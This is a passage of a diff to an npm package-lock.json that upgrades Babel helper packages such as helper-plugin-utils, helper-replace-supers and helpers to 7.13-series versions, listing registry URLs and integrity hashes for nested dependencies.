+ "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "lodash": "^4.17.19",
+ "to-fast-properties": "^2.0.0"
+ }
+ }
}
},
"@babel/helper-plugin-utils": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.8.3.tgz",
- "integrity": "sha512-j+fq49Xds2smCUNYmEHF9kGNkhbet6yVIBp4e6oeQpH1RUs/Ir06xUKzDjDkGcaaokPiTNs2JBWHjaE4csUkZQ==",
+ "version": "7.13.0",
+ "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.13.0.tgz",
+ "integrity": "sha512-ZPafIPSwzUlAoWT8DKs1W2VyF2gOWthGd5NGFMsBcMMol+ZhK+EQY/e6V96poa6PA/Bh+C9plWN0hXO1uB8AfQ==",
"dev": true
},
- "@babel/helper-regex": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/helper-regex/-/helper-regex-7.8.3.tgz",
- "integrity": "sha512-BWt0QtYv/cg/NecOAZMdcn/waj/5P26DR4mVLXfFtDokSR6fyuG0Pj+e2FqtSME+MqED1khnSMulkmGl8qWiUQ==",
- "dev": true,
- "requires": {
- "lodash": "^4.17.13"
- }
- },
"@babel/helper-remap-async-to-generator": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.8.3.tgz",
- "integrity": "sha512-kgwDmw4fCg7AVgS4DukQR/roGp+jP+XluJE5hsRZwxCYGg+Rv9wSGErDWhlI90FODdYfd4xG4AQRiMDjjN0GzA==",
+ "version": "7.13.0",
+ "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.13.0.tgz",
+ "integrity": "sha512-pUQpFBE9JvC9lrQbpX0TmeNIy5s7GnZjna2lhhcHC7DzgBs6fWn722Y5cfwgrtrqc7NAJwMvOa0mKhq6XaE4jg==",
"dev": true,
"requires": {
- "@babel/helper-annotate-as-pure": "^7.8.3",
- "@babel/helper-wrap-function": "^7.8.3",
- "@babel/template": "^7.8.3",
- "@babel/traverse": "^7.8.3",
- "@babel/types": "^7.8.3"
+ "@babel/helper-annotate-as-pure": "^7.12.13",
+ "@babel/helper-wrap-function": "^7.13.0",
+ "@babel/types": "^7.13.0"
+ },
+ "dependencies": {
+ "@babel/helper-validator-identifier": {
+ "version": "7.12.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz",
+ "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==",
+ "dev": true
+ },
+ "@babel/types": {
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz",
+ "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "lodash": "^4.17.19",
+ "to-fast-properties": "^2.0.0"
+ }
+ }
}
},
"@babel/helper-replace-supers": {
- "version": "7.9.6",
- "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.9.6.tgz",
- "integrity": "sha512-qX+chbxkbArLyCImk3bWV+jB5gTNU/rsze+JlcF6Nf8tVTigPJSI1o1oBow/9Resa1yehUO9lIipsmu9oG4RzA==",
+ "version": "7.13.12",
+ "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.13.12.tgz",
+ "integrity": "sha512-Gz1eiX+4yDO8mT+heB94aLVNCL+rbuT2xy4YfyNqu8F+OI6vMvJK891qGBTqL9Uc8wxEvRW92Id6G7sDen3fFw==",
"dev": true,
"requires": {
- "@babel/helper-member-expression-to-functions": "^7.8.3",
- "@babel/helper-optimise-call-expression": "^7.8.3",
- "@babel/traverse": "^7.9.6",
- "@babel/types": "^7.9.6"
+ "@babel/helper-member-expression-to-functions": "^7.13.12",
+ "@babel/helper-optimise-call-expression": "^7.12.13",
+ "@babel/traverse": "^7.13.0",
+ "@babel/types": "^7.13.12"
+ },
+ "dependencies": {
+ "@babel/code-frame": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz",
+ "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==",
+ "dev": true,
+ "requires": {
+ "@babel/highlight": "^7.12.13"
+ }
+ },
+ "@babel/generator": {
+ "version": "7.13.9",
+ "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz",
+ "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.13.0",
+ "jsesc": "^2.5.1",
+ "source-map": "^0.5.0"
+ }
+ },
+ "@babel/helper-function-name": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz",
+ "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-get-function-arity": "^7.12.13",
+ "@babel/template": "^7.12.13",
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-get-function-arity": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz",
+ "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-split-export-declaration": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz",
+ "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-validator-identifier": {
+ "version": "7.12.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz",
+ "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==",
+ "dev": true
+ },
+ "@babel/highlight": {
+ "version": "7.13.10",
+ "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz",
+ "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "chalk": "^2.0.0",
+ "js-tokens": "^4.0.0"
+ }
+ },
+ "@babel/parser": {
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz",
+ "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==",
+ "dev": true
+ },
+ "@babel/template": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz",
+ "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==",
+ "dev": true,
+ "requires": {
+ "@babel/code-frame": "^7.12.13",
+ "@babel/parser": "^7.12.13",
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/traverse": {
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz",
+ "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==",
+ "dev": true,
+ "requires": {
+ "@babel/code-frame": "^7.12.13",
+ "@babel/generator": "^7.13.9",
+ "@babel/helper-function-name": "^7.12.13",
+ "@babel/helper-split-export-declaration": "^7.12.13",
+ "@babel/parser": "^7.13.15",
+ "@babel/types": "^7.13.14",
+ "debug": "^4.1.0",
+ "globals": "^11.1.0"
+ }
+ },
+ "@babel/types": {
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz",
+ "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "lodash": "^4.17.19",
+ "to-fast-properties": "^2.0.0"
+ }
+ },
+ "debug": {
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
+ "requires": {
+ "ms": "2.1.2"
+ }
+ },
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ }
}
},
"@babel/helper-simple-access": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.8.3.tgz",
- "integrity": "sha512-VNGUDjx5cCWg4vvCTR8qQ7YJYZ+HBjxOgXEl7ounz+4Sn7+LMD3CFrCTEU6/qXKbA2nKg21CwhhBzO0RpRbdCw==",
+ "version": "7.13.12",
+ "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.13.12.tgz",
+ "integrity": "sha512-7FEjbrx5SL9cWvXioDbnlYTppcZGuCY6ow3/D5vMggb2Ywgu4dMrpTJX0JdQAIcRRUElOIxF3yEooa9gUb9ZbA==",
"dev": true,
"requires": {
- "@babel/template": "^7.8.3",
- "@babel/types": "^7.8.3"
+ "@babel/types": "^7.13.12"
+ },
+ "dependencies": {
+ "@babel/helper-validator-identifier": {
+ "version": "7.12.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz",
+ "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==",
+ "dev": true
+ },
+ "@babel/types": {
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz",
+ "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "lodash": "^4.17.19",
+ "to-fast-properties": "^2.0.0"
+ }
+ }
+ }
+ },
+ "@babel/helper-skip-transparent-expression-wrappers": {
+ "version": "7.12.1",
+ "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.12.1.tgz",
+ "integrity": "sha512-Mf5AUuhG1/OCChOJ/HcADmvcHM42WJockombn8ATJG3OnyiSxBK/Mm5x78BQWvmtXZKHgbjdGL2kin/HOLlZGA==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.12.1"
+ },
+ "dependencies": {
+ "@babel/helper-validator-identifier": {
+ "version": "7.12.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz",
+ "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==",
+ "dev": true
+ },
+ "@babel/types": {
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz",
+ "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "lodash": "^4.17.19",
+ "to-fast-properties": "^2.0.0"
+ }
+ }
}
},
"@babel/helper-split-export-declaration": {
@@ -351,27 +1327,287 @@
"resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.9.5.tgz",
"integrity": "sha512-/8arLKUFq882w4tWGj9JYzRpAlZgiWUJ+dtteNTDqrRBz9Iguck9Rn3ykuBDoUwh2TO4tSAJlrxDUOXWklJe4g=="
},
+ "@babel/helper-validator-option": {
+ "version": "7.12.17",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.12.17.tgz",
+ "integrity": "sha512-TopkMDmLzq8ngChwRlyjR6raKD6gMSae4JdYDB8bByKreQgG0RBTuKe9LRxW3wFtUnjxOPRKBDwEH6Mg5KeDfw==",
+ "dev": true
+ },
"@babel/helper-wrap-function": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.8.3.tgz",
- "integrity": "sha512-LACJrbUET9cQDzb6kG7EeD7+7doC3JNvUgTEQOx2qaO1fKlzE/Bf05qs9w1oXQMmXlPO65lC3Tq9S6gZpTErEQ==",
+ "version": "7.13.0",
+ "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.13.0.tgz",
+ "integrity": "sha512-1UX9F7K3BS42fI6qd2A4BjKzgGjToscyZTdp1DjknHLCIvpgne6918io+aL5LXFcER/8QWiwpoY902pVEqgTXA==",
"dev": true,
"requires": {
- "@babel/helper-function-name": "^7.8.3",
- "@babel/template": "^7.8.3",
- "@babel/traverse": "^7.8.3",
- "@babel/types": "^7.8.3"
+ "@babel/helper-function-name": "^7.12.13",
+ "@babel/template": "^7.12.13",
+ "@babel/traverse": "^7.13.0",
+ "@babel/types": "^7.13.0"
+ },
+ "dependencies": {
+ "@babel/code-frame": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz",
+ "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==",
+ "dev": true,
+ "requires": {
+ "@babel/highlight": "^7.12.13"
+ }
+ },
+ "@babel/generator": {
+ "version": "7.13.9",
+ "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz",
+ "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.13.0",
+ "jsesc": "^2.5.1",
+ "source-map": "^0.5.0"
+ }
+ },
+ "@babel/helper-function-name": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz",
+ "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-get-function-arity": "^7.12.13",
+ "@babel/template": "^7.12.13",
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-get-function-arity": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz",
+ "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-split-export-declaration": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz",
+ "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-validator-identifier": {
+ "version": "7.12.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz",
+ "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==",
+ "dev": true
+ },
+ "@babel/highlight": {
+ "version": "7.13.10",
+ "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz",
+ "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "chalk": "^2.0.0",
+ "js-tokens": "^4.0.0"
+ }
+ },
+ "@babel/parser": {
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz",
+ "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==",
+ "dev": true
+ },
+ "@babel/template": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz",
+ "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==",
+ "dev": true,
+ "requires": {
+ "@babel/code-frame": "^7.12.13",
+ "@babel/parser": "^7.12.13",
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/traverse": {
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz",
+ "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==",
+ "dev": true,
+ "requires": {
+ "@babel/code-frame": "^7.12.13",
+ "@babel/generator": "^7.13.9",
+ "@babel/helper-function-name": "^7.12.13",
+ "@babel/helper-split-export-declaration": "^7.12.13",
+ "@babel/parser": "^7.13.15",
+ "@babel/types": "^7.13.14",
+ "debug": "^4.1.0",
+ "globals": "^11.1.0"
+ }
+ },
+ "@babel/types": {
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz",
+ "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "lodash": "^4.17.19",
+ "to-fast-properties": "^2.0.0"
+ }
+ },
+ "debug": {
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
+ "requires": {
+ "ms": "2.1.2"
+ }
+ },
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ }
}
},
"@babel/helpers": {
- "version": "7.9.6",
- "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.9.6.tgz",
- "integrity": "sha512-tI4bUbldloLcHWoRUMAj4g1bF313M/o6fBKhIsb3QnGVPwRm9JsNf/gqMkQ7zjqReABiffPV6RWj7hEglID5Iw==",
+ "version": "7.13.10",
+ "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.13.10.tgz",
+ "integrity": "sha512-4VO883+MWPDUVRF3PhiLBUFHoX/bsLTGFpFK/HqvvfBZz2D57u9XzPVNFVBTc0PW/CWR9BXTOKt8NF4DInUHcQ==",
"dev": true,
"requires": {
- "@babel/template": "^7.8.3",
- "@babel/traverse": "^7.9.6",
- "@babel/types": "^7.9.6"
+ "@babel/template": "^7.12.13",
+ "@babel/traverse": "^7.13.0",
+ "@babel/types": "^7.13.0"
+ },
+ "dependencies": {
+ "@babel/code-frame": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz",
+ "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==",
+ "dev": true,
+ "requires": {
+ "@babel/highlight": "^7.12.13"
+ }
+ },
+ "@babel/generator": {
+ "version": "7.13.9",
+ "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz",
+ "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.13.0",
+ "jsesc": "^2.5.1",
+ "source-map": "^0.5.0"
+ }
+ },
+ "@babel/helper-function-name": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz",
+ "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-get-function-arity": "^7.12.13",
+ "@babel/template": "^7.12.13",
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-get-function-arity": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz",
+ "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-split-export-declaration": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz",
+ "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/helper-validator-identifier": {
+ "version": "7.12.11",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz",
+ "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==",
+ "dev": true
+ },
+ "@babel/highlight": {
+ "version": "7.13.10",
+ "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz",
+ "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "chalk": "^2.0.0",
+ "js-tokens": "^4.0.0"
+ }
+ },
+ "@babel/parser": {
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz",
+ "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==",
+ "dev": true
+ },
+ "@babel/template": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz",
+ "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==",
+ "dev": true,
+ "requires": {
+ "@babel/code-frame": "^7.12.13",
+ "@babel/parser": "^7.12.13",
+ "@babel/types": "^7.12.13"
+ }
+ },
+ "@babel/traverse": {
+ "version": "7.13.15",
+ "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz",
+ "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==",
+ "dev": true,
+ "requires": {
+ "@babel/code-frame": "^7.12.13",
+ "@babel/generator": "^7.13.9",
+ "@babel/helper-function-name": "^7.12.13",
+ "@babel/helper-split-export-declaration": "^7.12.13",
+ "@babel/parser": "^7.13.15",
+ "@babel/types": "^7.13.14",
+ "debug": "^4.1.0",
+ "globals": "^11.1.0"
+ }
+ },
+ "@babel/types": {
+ "version": "7.13.14",
+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz",
+ "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.12.11",
+ "lodash": "^4.17.19",
+ "to-fast-properties": "^2.0.0"
+ }
+ },
+ "debug": {
+ "version": "4.3.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz",
+ "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==",
+ "dev": true,
+ "requires": {
+ "ms": "2.1.2"
+ }
+ },
+ "ms": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+ "dev": true
+ }
}
},
"@babel/highlight": {
@@ -390,106 +1626,150 @@
"integrity": "sha512-AoeIEJn8vt+d/6+PXDRPaksYhnlbMIiejioBZvvMQsOjW/JYK6k/0dKnvvP3EhK5GfMBWDPtrxRtegWdAcdq9Q==",
"dev": true
},
- "@babel/plugin-proposal-async-generator-functions": {
- "version": "7.8.3",
- "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.8.3.tgz",
- "integrity": "sha512-NZ9zLv848JsV3hs8ryEh7Uaz/0KsmPLqv0+PdkDJL1cJy0K4kOCFa8zc1E3mp+RHPQcpdfb/6GovEsW4VDrOMw==",
+ "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": {
+ "version": "7.13.12",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.13.12.tgz",
+ "integrity": "sha512-d0u3zWKcoZf379fOeJdr1a5WPDny4aOFZ6hlfKivgK0LY7ZxNfoaHL2fWwdGtHyVvra38FC+HVYkO+byfSA8AQ==",
"dev": true,
"requires": {
- "@babel/helper-plugin-utils": "^7.8.3",
- "@babel/helper-remap-async-to-generator": "^7.8.3",
- "@babel/plugin-syntax-async-generators": "^7.8.0"
+ "@babel/helper-plugin-utils": "^7.13.0",
